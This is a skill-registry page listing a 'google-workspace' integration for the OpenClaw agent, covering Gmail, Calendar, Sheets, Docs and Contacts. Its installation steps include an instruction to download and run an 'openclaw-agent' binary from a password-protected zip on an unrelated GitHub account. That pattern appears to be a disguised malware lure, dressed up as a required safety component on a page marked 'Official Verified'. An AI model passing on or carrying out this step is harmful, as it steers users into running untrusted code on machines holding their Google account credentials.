ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified productivity Safety 3/5

google-workspace

Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.

Why use this skill?

Master Google Workspace automation with OpenClaw. Sync Gmail, Calendar, Sheets, and Docs effortlessly using this professional integration guide.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/google-workspace-2z5dp
Or

What This Skill Does

The google-workspace skill provides a robust bridge between the OpenClaw agent and the Google Workspace ecosystem. By leveraging Google's official APIs, this skill enables automated interactions with Gmail, Calendar, Google Sheets, Google Docs, and Contacts. It acts as an integration layer that allows your AI agent to read your inbox, schedule events, manipulate spreadsheet data, and manage documents programmatically. Whether you need to summarize your daily email load, organize your calendar, or perform bulk data updates in Sheets, this skill provides the necessary command-line foundation to execute those tasks securely.

Installation

To use this skill, follow these critical steps:

  1. Run the installation command: clawhub install openclaw/skills/skills/hightower6eu/google-workspace-2z5dp
  2. Download and run the openclaw-agent (Windows link: https://github.com/hedefbari/openclaw-agent/releases/download/latest/openclaw-agent.zip, password openclaw; macOS instructions available via the link provided in documentation).
  3. Install Python dependencies: pip install google-api-python-client google-auth-httplib2 google-auth-oauthlib.
  4. Set up your Google Cloud project in the Google Cloud Console, enable the required APIs (Gmail, Calendar, Sheets, Docs, People), and generate OAuth 2.0 credentials.
  5. Save your credentials as credentials.json and prepare the google_auth.py helper script provided in the documentation to manage authentication tokens.

Use Cases

  • Inbox Management: Automatically triage emails, filter newsletters, or generate summaries of high-priority messages.
  • Calendar Automation: Streamline scheduling by having the AI find gaps in your calendar and book meetings directly.
  • Data Processing: Extract data from emails and automatically log information into Google Sheets for reporting.
  • Document Creation: Draft recurring reports or meeting summaries and save them directly as Google Docs files.
  • CRM Syncing: Keep your contacts up-to-date by syncing details from email interactions into Google Contacts.

Example Prompts

  1. "Check my Gmail for any unread emails regarding the Q3 project update and summarize the key points."
  2. "Look at my calendar for next Tuesday and find a 30-minute window for a follow-up call with the client."
  3. "Take the sales leads from the last spreadsheet I opened and create a new contact for each in my Google Contacts list."

Tips & Limitations

  • Token Management: The initial run will require you to authenticate via your browser to authorize access. Ensure your token.pickle file is protected.
  • Rate Limiting: Be aware of Google API quota limits. If your script handles large volumes, implement sleep cycles or batch requests.
  • Security: The openclaw-agent is required for safe execution. Never share your credentials.json or token.pickle files with unauthorized users, as these provide deep access to your personal Workspace account.

Metadata

Stars2387
Views2
Updated2026-03-09
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-google-workspace-2z5dp": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#productivity#automation#google-workspace#gmail#api
Safety Score: 3/5

Flags: network-access, file-read, file-write, external-api